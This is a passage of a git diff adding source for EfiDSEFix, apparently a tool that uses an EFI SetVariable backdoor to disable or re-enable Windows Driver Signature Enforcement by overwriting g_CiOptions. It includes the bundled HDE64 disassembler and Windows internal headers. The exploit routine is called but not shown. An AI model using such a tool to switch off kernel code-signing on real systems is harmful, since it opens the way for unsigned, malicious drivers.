{4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav + + + {d87fb448-dd1b-43f3-8744-61137d86445e} + + + + + Source Files + + + Source Files + + + Header Files\hde + + + Source Files + + + Source Files + + + + + Header Files + + + Header Files\hde + + + Header Files\hde + + + Header Files + + + Header Files + + + + + Resource Files + + + + + Resource Files + + + \ No newline at end of file diff --git a/Application/EfiDSEFix/src/hde/hde64.c b/Application/EfiDSEFix/src/hde/hde64.c new file mode 100644 index 0000000..1843c85 --- /dev/null +++ b/Application/EfiDSEFix/src/hde/hde64.c @@ -0,0 +1,338 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#include "hde64.h" +#include "table64.h" + +#pragma warning(push) +#pragma warning(disable:4701) +#pragma warning(disable:4706) + +unsigned int hde64_disasm(const void *code, hde64s *hs) +{ + uint8_t x, c = 0, *p = (uint8_t *)code, cflags, opcode, pref = 0; + uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; + uint8_t op64 = 0; + + // Avoid using memset to reduce the footprint. +#ifndef _MSC_VER + memset((uint8_t*)hs, 0, sizeof(hde64s)); +#else + __stosb((uint8_t*)hs, 0, sizeof(hde64s)); +#endif + + for (x = 16; x; x--) + switch (c = *p++) { + case 0xf3: + hs->p_rep = c; + pref |= PRE_F3; + break; + case 0xf2: + hs->p_rep = c; + pref |= PRE_F2; + break; + case 0xf0: + hs->p_lock = c; + pref |= PRE_LOCK; + break; + case 0x26: case 0x2e: case 0x36: + case 0x3e: case 0x64: case 0x65: + hs->p_seg = c; + pref |= PRE_SEG; + break; + case 0x66: + hs->p_66 = c; + pref |= PRE_66; + break; + case 0x67: + hs->p_67 = c; + pref |= PRE_67; + break; + default: + goto pref_done; + } + pref_done: + + hs->flags = (uint32_t)pref << 23; + + if (!pref) + pref |= PRE_NONE; + + if ((c & 0xf0) == 0x40) { + hs->flags |= F_PREFIX_REX; + if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) + op64++; + hs->rex_r = (c & 7) >> 2; + hs->rex_x = (c & 3) >> 1; + hs->rex_b = c & 1; + if (((c = *p++) & 0xf0) == 0x40) { + opcode = c; + goto error_opcode; + } + } + + if ((hs->opcode = c) == 0x0f) { + hs->opcode2 = c = *p++; + ht += DELTA_OPCODES; + } else if (c >= 0xa0 && c <= 0xa3) { + op64++; + if (pref & PRE_67) + pref |= PRE_66; + else + pref &= ~PRE_66; + } + + opcode = c; + cflags = ht[ht[opcode / 4] + (opcode % 4)]; + + if (cflags == C_ERROR) { + error_opcode: + hs->flags |= F_ERROR | F_ERROR_OPCODE; + cflags = 0; + if ((opcode & -3) == 0x24) + cflags++; + } + + x = 0; + if (cflags & C_GROUP) { + uint16_t t; + t = *(uint16_t *)(ht + (cflags & 0x7f)); + cflags = (uint8_t)t; + x = (uint8_t)(t >> 8); + } + + if (hs->opcode2) { + ht = hde64_table + DELTA_PREFIXES; + if (ht[ht[opcode / 4] + (opcode % 4)] & pref) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (cflags & C_MODRM) { + hs->flags |= F_MODRM; + hs->modrm = c = *p++; + hs->modrm_mod = m_mod = c >> 6; + hs->modrm_rm = m_rm = c & 7; + hs->modrm_reg = m_reg = (c & 0x3f) >> 3; + + if (x && ((x << m_reg) & 0x80)) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + + if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) { + uint8_t t = opcode - 0xd9; + if (m_mod == 3) { + ht = hde64_table + DELTA_FPU_MODRM + t*8; + t = ht[m_reg] << m_rm; + } else { + ht = hde64_table + DELTA_FPU_REG; + t = ht[t] << m_reg; + } + if (t & 0x80) + hs->flags |= F_ERROR | F_ERROR_OPCODE; + } + + if (pref & PRE_LOCK) { + if (m_mod == 3) { + hs->flags |= F_ERROR | F_ERROR_LOCK; + } else { + uint8_t *table_end, op = opcode; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_LOCK_OK; + table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK; + } else { + ht = hde64_table + DELTA_OP_LOCK_OK; + table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK; + op &= -2; + } + for (; ht != table_end; ht++) + if (*ht++ == op) { + if (!((*ht << m_reg) & 0x80)) + goto no_lock_error; + else + break; + } + hs->flags |= F_ERROR | F_ERROR_LOCK; + no_lock_error: + ; + } + } + + if (hs->opcode2) { + switch (opcode) { + case 0x20: case 0x22: + m_mod = 3; + if (m_reg > 4 || m_reg == 1) + goto error_operand; + else + goto no_error_operand; + case 0x21: case 0x23: + m_mod = 3; + if (m_reg == 4 || m_reg == 5) + goto error_operand; + else + goto no_error_operand; + } + } else { + switch (opcode) { + case 0x8c: + if (m_reg > 5) + goto error_operand; + else + goto no_error_operand; + case 0x8e: + if (m_reg == 1 || m_reg > 5) + goto error_operand; + else + goto no_error_operand; + } + } + + if (m_mod == 3) { + uint8_t *table_end; + if (hs->opcode2) { + ht = hde64_table + DELTA_OP2_ONLY_MEM; + table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM; + } else { + ht = hde64_table + DELTA_OP_ONLY_MEM; + table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM; + } + for (; ht != table_end; ht += 2) + if (*ht++ == opcode) { + if (*ht++ & pref && !((*ht << m_reg) & 0x80)) + goto error_operand; + else + break; + } + goto no_error_operand; + } else if (hs->opcode2) { + switch (opcode) { + case 0x50: case 0xd7: case 0xf7: + if (pref & (PRE_NONE | PRE_66)) + goto error_operand; + break; + case 0xd6: + if (pref & (PRE_F2 | PRE_F3)) + goto error_operand; + break; + case 0xc5: + goto error_operand; + } + goto no_error_operand; + } else + goto no_error_operand; + + error_operand: + hs->flags |= F_ERROR | F_ERROR_OPERAND; + no_error_operand: + + c = *p++; + if (m_reg <= 1) { + if (opcode == 0xf6) + cflags |= C_IMM8; + else if (opcode == 0xf7) + cflags |= C_IMM_P66; + } + + switch (m_mod) { + case 0: + if (pref & PRE_67) { + if (m_rm == 6) + disp_size = 2; + } else + if (m_rm == 5) + disp_size = 4; + break; + case 1: + disp_size = 1; + break; + case 2: + disp_size = 2; + if (!(pref & PRE_67)) + disp_size <<= 1; + } + + if (m_mod != 3 && m_rm == 4) { + hs->flags |= F_SIB; + p++; + hs->sib = c; + hs->sib_scale = c >> 6; + hs->sib_index = (c & 0x3f) >> 3; + if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1)) + disp_size = 4; + } + + p--; + switch (disp_size) { + case 1: + hs->flags |= F_DISP8; + hs->disp.disp8 = *p; + break; + case 2: + hs->flags |= F_DISP16; + hs->disp.disp16 = *(uint16_t *)p; + break; + case 4: + hs->flags |= F_DISP32; + hs->disp.disp32 = *(uint32_t *)p; + } + p += disp_size; + } else if (pref & PRE_LOCK) + hs->flags |= F_ERROR | F_ERROR_LOCK; + + if (cflags & C_IMM_P66) { + if (cflags & C_REL32) { + if (pref & PRE_66) { + hs->flags |= F_IMM16 | F_RELATIVE; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + goto disasm_done; + } + goto rel32_ok; + } + if (op64) { + hs->flags |= F_IMM64; + hs->imm.imm64 = *(uint64_t *)p; + p += 8; + } else if (!(pref & PRE_66)) { + hs->flags |= F_IMM32; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else + goto imm16_ok; + } + + + if (cflags & C_IMM16) { + imm16_ok: + hs->flags |= F_IMM16; + hs->imm.imm16 = *(uint16_t *)p; + p += 2; + } + if (cflags & C_IMM8) { + hs->flags |= F_IMM8; + hs->imm.imm8 = *p++; + } + + if (cflags & C_REL32) { + rel32_ok: + hs->flags |= F_IMM32 | F_RELATIVE; + hs->imm.imm32 = *(uint32_t *)p; + p += 4; + } else if (cflags & C_REL8) { + hs->flags |= F_IMM8 | F_RELATIVE; + hs->imm.imm8 = *p++; + } + + disasm_done: + + if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) { + hs->flags |= F_ERROR | F_ERROR_LENGTH; + hs->len = 15; + } + + return (unsigned int)hs->len; +} +#pragma warning(pop) diff --git a/Application/EfiDSEFix/src/hde/hde64.h b/Application/EfiDSEFix/src/hde/hde64.h new file mode 100644 index 0000000..966756c --- /dev/null +++ b/Application/EfiDSEFix/src/hde/hde64.h @@ -0,0 +1,112 @@ +/* + * Hacker Disassembler Engine 64 + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + * hde64.h: C/C++ header file + * + */ + +#ifndef _HDE64_H_ +#define _HDE64_H_ + +/* stdint.h - C99 standard header + * http://en.wikipedia.org/wiki/stdint.h + * + * if your compiler doesn't contain "stdint.h" header (for + * example, Microsoft Visual C++), you can download file: + * http://www.azillionmonkeys.com/qed/pstdint.h + * and change next line to: + * #include "pstdint.h" + */ +#include + +#define F_MODRM 0x00000001 +#define F_SIB 0x00000002 +#define F_IMM8 0x00000004 +#define F_IMM16 0x00000008 +#define F_IMM32 0x00000010 +#define F_IMM64 0x00000020 +#define F_DISP8 0x00000040 +#define F_DISP16 0x00000080 +#define F_DISP32 0x00000100 +#define F_RELATIVE 0x00000200 +#define F_ERROR 0x00001000 +#define F_ERROR_OPCODE 0x00002000 +#define F_ERROR_LENGTH 0x00004000 +#define F_ERROR_LOCK 0x00008000 +#define F_ERROR_OPERAND 0x00010000 +#define F_PREFIX_REPNZ 0x01000000 +#define F_PREFIX_REPX 0x02000000 +#define F_PREFIX_REP 0x03000000 +#define F_PREFIX_66 0x04000000 +#define F_PREFIX_67 0x08000000 +#define F_PREFIX_LOCK 0x10000000 +#define F_PREFIX_SEG 0x20000000 +#define F_PREFIX_REX 0x40000000 +#define F_PREFIX_ANY 0x7f000000 + +#define PREFIX_SEGMENT_CS 0x2e +#define PREFIX_SEGMENT_SS 0x36 +#define PREFIX_SEGMENT_DS 0x3e +#define PREFIX_SEGMENT_ES 0x26 +#define PREFIX_SEGMENT_FS 0x64 +#define PREFIX_SEGMENT_GS 0x65 +#define PREFIX_LOCK 0xf0 +#define PREFIX_REPNZ 0xf2 +#define PREFIX_REPX 0xf3 +#define PREFIX_OPERAND_SIZE 0x66 +#define PREFIX_ADDRESS_SIZE 0x67 + +#pragma pack(push,1) + +typedef struct { + uint8_t len; + uint8_t p_rep; + uint8_t p_lock; + uint8_t p_seg; + uint8_t p_66; + uint8_t p_67; + uint8_t rex; + uint8_t rex_w; + uint8_t rex_r; + uint8_t rex_x; + uint8_t rex_b; + uint8_t opcode; + uint8_t opcode2; + uint8_t modrm; + uint8_t modrm_mod; + uint8_t modrm_reg; + uint8_t modrm_rm; + uint8_t sib; + uint8_t sib_scale; + uint8_t sib_index; + uint8_t sib_base; + union { + uint8_t imm8; + uint16_t imm16; + uint32_t imm32; + uint64_t imm64; + } imm; + union { + uint8_t disp8; + uint16_t disp16; + uint32_t disp32; + } disp; + uint32_t flags; +} hde64s; + +#pragma pack(pop) + +#ifdef __cplusplus +extern "C" { +#endif + +/* __cdecl */ +unsigned int hde64_disasm(const void *code, hde64s *hs); + +#ifdef __cplusplus +} +#endif + +#endif /* _HDE64_H_ */ diff --git a/Application/EfiDSEFix/src/hde/table64.h b/Application/EfiDSEFix/src/hde/table64.h new file mode 100644 index 0000000..e1eb724 --- /dev/null +++ b/Application/EfiDSEFix/src/hde/table64.h @@ -0,0 +1,76 @@ +/* + * Hacker Disassembler Engine 64 C + * Copyright (c) 2008-2009, Vyacheslav Patkov. + * All rights reserved. + * + */ + +#pragma once + +#define C_NONE 0x00 +#define C_MODRM 0x01 +#define C_IMM8 0x02 +#define C_IMM16 0x04 +#define C_IMM_P66 0x10 +#define C_REL8 0x20 +#define C_REL32 0x40 +#define C_GROUP 0x80 +#define C_ERROR 0xff + +#define PRE_ANY 0x00 +#define PRE_NONE 0x01 +#define PRE_F2 0x02 +#define PRE_F3 0x04 +#define PRE_66 0x08 +#define PRE_67 0x10 +#define PRE_LOCK 0x20 +#define PRE_SEG 0x40 +#define PRE_ALL 0xff + +#define DELTA_OPCODES 0x4a +#define DELTA_FPU_REG 0xfd +#define DELTA_FPU_MODRM 0x104 +#define DELTA_PREFIXES 0x13c +#define DELTA_OP_LOCK_OK 0x1ae +#define DELTA_OP2_LOCK_OK 0x1c6 +#define DELTA_OP_ONLY_MEM 0x1d8 +#define DELTA_OP2_ONLY_MEM 0x1e7 + +unsigned char hde64_table[] = { + 0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5, + 0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1, + 0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea, + 0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0, + 0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab, + 0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92, + 0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90, + 0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b, + 0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b, + 0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc, + 0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20, + 0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff, + 0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00, + 0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01, + 0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10, + 0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00, + 0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00, + 0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00, + 0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00, + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff, + 0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00, + 0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40, + 0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43, + 0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40, + 0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40, + 0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06, + 0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07, + 0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04, + 0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10, + 0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00, + 0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb, + 0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff, + 0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09, + 0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff, + 0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08, + 0x00,0xf0,0x02,0x00 +}; diff --git a/Application/EfiDSEFix/src/main.cpp b/Application/EfiDSEFix/src/main.cpp new file mode 100644 index 0000000..1c7e8da --- /dev/null +++ b/Application/EfiDSEFix/src/main.cpp @@ -0,0 +1,245 @@ +#include "EfiDSEFix.h" +#include + +static +VOID +PrintUsage( + _In_ PCWCHAR ProgramName + ) +{ + Printf(L"\nUsage: %ls [COMMAND]\n\n" + L"Commands:\n\n" + L"-c, --check%17lsTest backdoor hook\n" + L"-d, --disable%15lsDisable DSE\n" + L"-e, --enable%ls%2ls(Re)enable DSE\n" + L"-i, --info%18lsDump system info\n", + ProgramName, L"", L"", + (NtCurrentPeb()->OSBuildNumber >= 9200 ? L" [g_CiOptions]" : L" "), + L"", L""); +} + +int wmain(int argc, wchar_t** argv) +{ + NT_ASSERT(argc != 0); + if (argc == 1 || argc > 3 || (argc == 3 && _wtoi(argv[2]) == 0)) + { + // Print help text + PrintUsage(argv[0]); + return 0; + } + + // Parse command line params + ULONG CiOptionsValue = 0; + if (wcsncmp(argv[1], L"-c", sizeof(L"-c") / sizeof(WCHAR) - 1) == 0 || + wcsncmp(argv[1], L"--check", sizeof(L"--check") / sizeof(WCHAR) - 1) == 0) + { + Printf(L"Checking for working EFI SetVariable() backdoor...\n"); + const NTSTATUS Status = TestSetVariableHook(); + if (NT_SUCCESS(Status)) // Any errors have already been printed + Printf(L"Success!\n"); + return Status; + } + if (wcsncmp(argv[1], L"-d", sizeof(L"-d") / sizeof(WCHAR) - 1) == 0 || + wcsncmp(argv[1], L"--disable", sizeof(L"--disable") / sizeof(WCHAR) - 1) == 0) + { + CiOptionsValue = 0; + Printf(L"Disabling DSE...\n"); + } + else if (wcsncmp(argv[1], L"-e", sizeof(L"-e") / sizeof(WCHAR) - 1) == 0 || + wcsncmp(argv[1], L"--enable", sizeof(L"--enable") / sizeof(WCHAR) - 1) == 0) + { + if (NtCurrentPeb()->OSBuildNumber >= 9200) + { + CiOptionsValue = argc == 3 ? static_cast(_wtoi(argv[2])) : CODEINTEGRITY_OPTION_ENABLED; + Printf(L"(Re)enabling DSE [g_CiOptions value = 0x%X]...\n", CiOptionsValue); + } + else + { + CiOptionsValue = CODEINTEGRITY_OPTION_ENABLED; + Printf(L"(Re)enabling DSE...\n"); + } + } + else if (wcsncmp(argv[1], L"-i", sizeof(L"-i") / sizeof(WCHAR) - 1) == 0 || + wcsncmp(argv[1], L"--info", sizeof(L"--info") / sizeof(WCHAR) - 1) == 0) + { + return DumpSystemInformation(); + } + + // Trigger EFI driver exploit and write new value to g_CiOptions/g_CiEnabled + ULONG OldCiOptionsValue; + const NTSTATUS Status = AdjustCiOptions(CiOptionsValue, &OldCiOptionsValue); + + // Print result + if (!NT_SUCCESS(Status)) + { + Printf(L"AdjustCiOptions failed: %08X\n", Status); + } + else + { + Printf(L"Successfully %ls DSE.", CiOptionsValue == 0 ? L"disabled" : L"(re)enabled"); + if (NtCurrentPeb()->OSBuildNumber >= 9200) + { + Printf(L" Original g_CiOptions value: 0x%X", OldCiOptionsValue); + } + Printf(L"\n"); + } + return Status; +} + +DECLSPEC_NOINLINE +static +VOID +ParseCommandLine( + _In_ PWCHAR CommandLine, + _Out_opt_ PWCHAR* Argv, + _Out_opt_ PWCHAR Arguments, + _Out_ PULONG Argc, + _Out_ PULONG NumChars + ) +{ + *NumChars = 0; + *Argc = 1; + + // Copy the executable name and and count bytes + PWCHAR p = CommandLine; + if (Argv != nullptr) + *Argv++ = Arguments; + + // Handle quoted executable names + BOOLEAN InQuotes = FALSE; + WCHAR c; + do + { + if (*p == '"') + { + InQuotes = !InQuotes; + c = *p++; + continue; + } + + ++*NumChars; + if (Arguments != nullptr) + *Arguments++ = *p; + c = *p++; + } while (c != '\0' && (InQuotes || (c != ' ' && c != '\t'))); + + if (c == '\0') + --p; + else if (Arguments != nullptr) + *(Arguments - 1) = L'\0'; + + // Iterate over the arguments + InQuotes = FALSE; + for (; ; ++*NumChars) + { + if (*p != '\0') + { + while (*p == ' ' || *p == '\t') + ++p; + } + if (*p == '\0') + break; // End of arguments + + if (Argv != nullptr) + *Argv++ = Arguments; + ++*Argc; + + // Scan one argument + for (; ; ++p) + { + BOOLEAN CopyChar = TRUE; + ULONG NumSlashes = 0; + + while (*p == '\\') + { + // Count the number of slashes + ++p; + ++NumSlashes; + } + + if (*p == '"') + { + // If 2N backslashes before: start/end a quote. Otherwise copy literally + if ((NumSlashes & 1) == 0) + { + if (InQuotes && p[1] == '"') + ++p; // Double quote inside a quoted string + else + { + // Skip first quote and copy second + CopyChar = FALSE; // Don't copy quote + InQuotes = !InQuotes; + } + } + NumSlashes >>= 1; + } + + // Copy slashes + while (NumSlashes--) + { + if (Arguments != nullptr) + *Arguments++ = '\\'; + ++*NumChars; + } + + // If we're at the end of the argument, go to the next + if (*p == '\0' || (!InQuotes && (*p == ' ' || *p == '\t'))) + break; + + // Copy character into argument + if (CopyChar) + { + if (Arguments != nullptr) + *Arguments++ = *p; + ++*NumChars; + } + } + + if (Arguments != nullptr) + *Arguments++ = L'\0'; + } +} + +NTSTATUS +NTAPI +NtProcessStartupW( + _In_ PPEB Peb + ) +{ + // On Windows XP (heh...) rcx does not contain a PEB pointer, but garbage + Peb = Peb != nullptr ? NtCurrentPeb() : NtCurrentTeb()->ProcessEnvironmentBlock; // And this turd is to get Resharper to shut up about assigning to Peb before reading from it. Note LHS == RHS + + // Get the command line from the startup parameters. If there isn't one, use the executable name + PRTL_USER_PROCESS_PARAMETERS Params = RtlNormalizeProcessParams(Peb->ProcessParameters); + const PWCHAR CommandLineBuffer = Params->CommandLine.Buffer == nullptr || Params->CommandLine.Buffer[0] == L'\0' + ? Params->ImagePathName.Buffer + : Params->CommandLine.Buffer; + + // Count the number of arguments and characters excluding quotes + ULONG Argc, NumChars; + ParseCommandLine(CommandLineBuffer, + nullptr, + nullptr, + &Argc, + &NumChars); + + // Allocate a buffer for the arguments and a pointer array + const ULONG ArgumentArraySize = (Argc + 1) * sizeof(PVOID); + PWCHAR *Argv = static_cast( + RtlAllocateHeap(RtlProcessHeap(), + HEAP_ZERO_MEMORY, + ArgumentArraySize + NumChars * sizeof(WCHAR))); + if (Argv == nullptr) + return NtTerminateProcess(NtCurrentProcess, STATUS_NO_MEMORY); + + // Copy the command line arguments + ParseCommandLine(CommandLineBuffer, + Argv, + reinterpret_cast(&Argv[Argc + 1]), + &Argc, + &NumChars); + + // Call the main function and terminate with the exit status + const NTSTATUS Status = wmain(Argc, Argv); + return NtTerminateProcess(NtCurrentProcess, Status); +} diff --git a/Application/EfiDSEFix/src/ntdll.h b/Application/EfiDSEFix/src/ntdll.h new file mode 100644 index 0000000..48da514 --- /dev/null +++ b/Application/EfiDSEFix/src/ntdll.h @@ -0,0 +1,9918 @@ +#ifndef _NTDLL_H +#define _NTDLL_H + +#pragma once + +#ifdef __cplusplus +extern "C" { +#endif + +#ifndef NOMINMAX +#define NOMINMAX +#endif +#ifndef WIN32_LEAN_AND_MEAN +#define WIN32_LEAN_AND_MEAN +#endif +#ifndef WIN32_NO_STATUS +#define WIN32_NO_STATUS +#endif +#include +#undef WIN32_NO_STATUS +#include + +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) +#define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) + +#define FASTCALL __fastcall + +#ifndef _Reserved_ +#define _Reserved_ +#endif + +#if defined(__clang__) +#undef FIELD_OFFSET +#undef UFIELD_OFFSET +#define FIELD_OFFSET(type, field) ((LONG)__builtin_offsetof(type, field)) +#define UFIELD_OFFSET(type, field) ((ULONG)__builtin_offsetof(type, field)) +#endif + +#define ALIGN_DOWN(length, type) \ + ((ULONG_PTR)(length) & ~(sizeof(type) - 1)) + +#define ALIGN_UP(length, type) \ + (ALIGN_DOWN(((ULONG_PTR)(length) + sizeof(type) - 1), type)) + +#define MIN(a,b) (((a) < (b)) ? (a) : (b)) +#define MAX(a,b) (((a) > (b)) ? (a) : (b)) + +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +typedef LONG KPRIORITY, *PKPRIORITY; +typedef ULONG LOGICAL, *PLOGICAL; + +typedef enum _NT_PRODUCT_TYPE +{ + NtProductWinNt = 1, + NtProductLanManNt, + NtProductServer +} NT_PRODUCT_TYPE, *PNT_PRODUCT_TYPE; + +typedef enum _SUITE_TYPE +{ + SmallBusiness, + Enterprise, + BackOffice, + CommunicationServer, + TerminalServer, + SmallBusinessRestricted, + EmbeddedNT, + DataCenter, + SingleUserTS, + Personal, + Blade, + EmbeddedRestricted, + SecurityAppliance, + StorageServer, + ComputeServer, + WHServer, + PhoneNT, + MaxSuiteType +} SUITE_TYPE; + +typedef struct _CLIENT_ID +{ + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +enum KPROCESSOR_MODE +{ + KernelMode, + UserMode +}; + +typedef enum _KTHREAD_STATE +{ + Initialized, + Ready, + Running, + Standby, + Terminated, + Waiting, + Transition, + DeferredReady, + GateWaitObsolete, + WaitingForProcessInSwap, + MaximumThreadState +} KTHREAD_STATE, *PKTHREAD_STATE; + +typedef enum _KWAIT_REASON +{ + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + WrAlertByThreadId, + WrDeferredPreempt, + WrPhysicalFault, + MaximumWaitReason +} KWAIT_REASON; + +typedef enum _EVENT_TYPE +{ + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef enum _TIMER_TYPE +{ + NotificationTimer, + SynchronizationTimer +} TIMER_TYPE; + +typedef enum _WAIT_TYPE +{ + WaitAll, + WaitAny, + WaitNotification, + WaitDequeue +} WAIT_TYPE; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000 + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE, *PHARDERROR_RESPONSE; + +typedef struct _UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING, *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +#define DECLARE_UNICODE_STRING_SIZE(_var, _size) \ +WCHAR _var ## _buffer[_size]; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +UNICODE_STRING _var = { 0, (_size) * sizeof(WCHAR) , _var ## _buffer } \ +__pragma(warning(pop)) + +#define DECLARE_STATIC_UNICODE_STRING_SIZE(_var, _size) \ +WCHAR _var ## _buffer[_size]; \ +__pragma(warning(push)) \ +__pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ +static UNICODE_STRING _var = { 0, (_size) * sizeof(WCHAR) , _var ## _buffer } \ +__pragma(warning(pop)) + +#if defined(__clang__) +#define RTL_CONSTANT_STRING(s) \ +__pragma(clang diagnostic push) \ +__pragma(clang diagnostic ignored "-Wwritable-strings") \ +{ sizeof(s) - sizeof((s)[0]), sizeof(s), s } \ +__pragma(clang 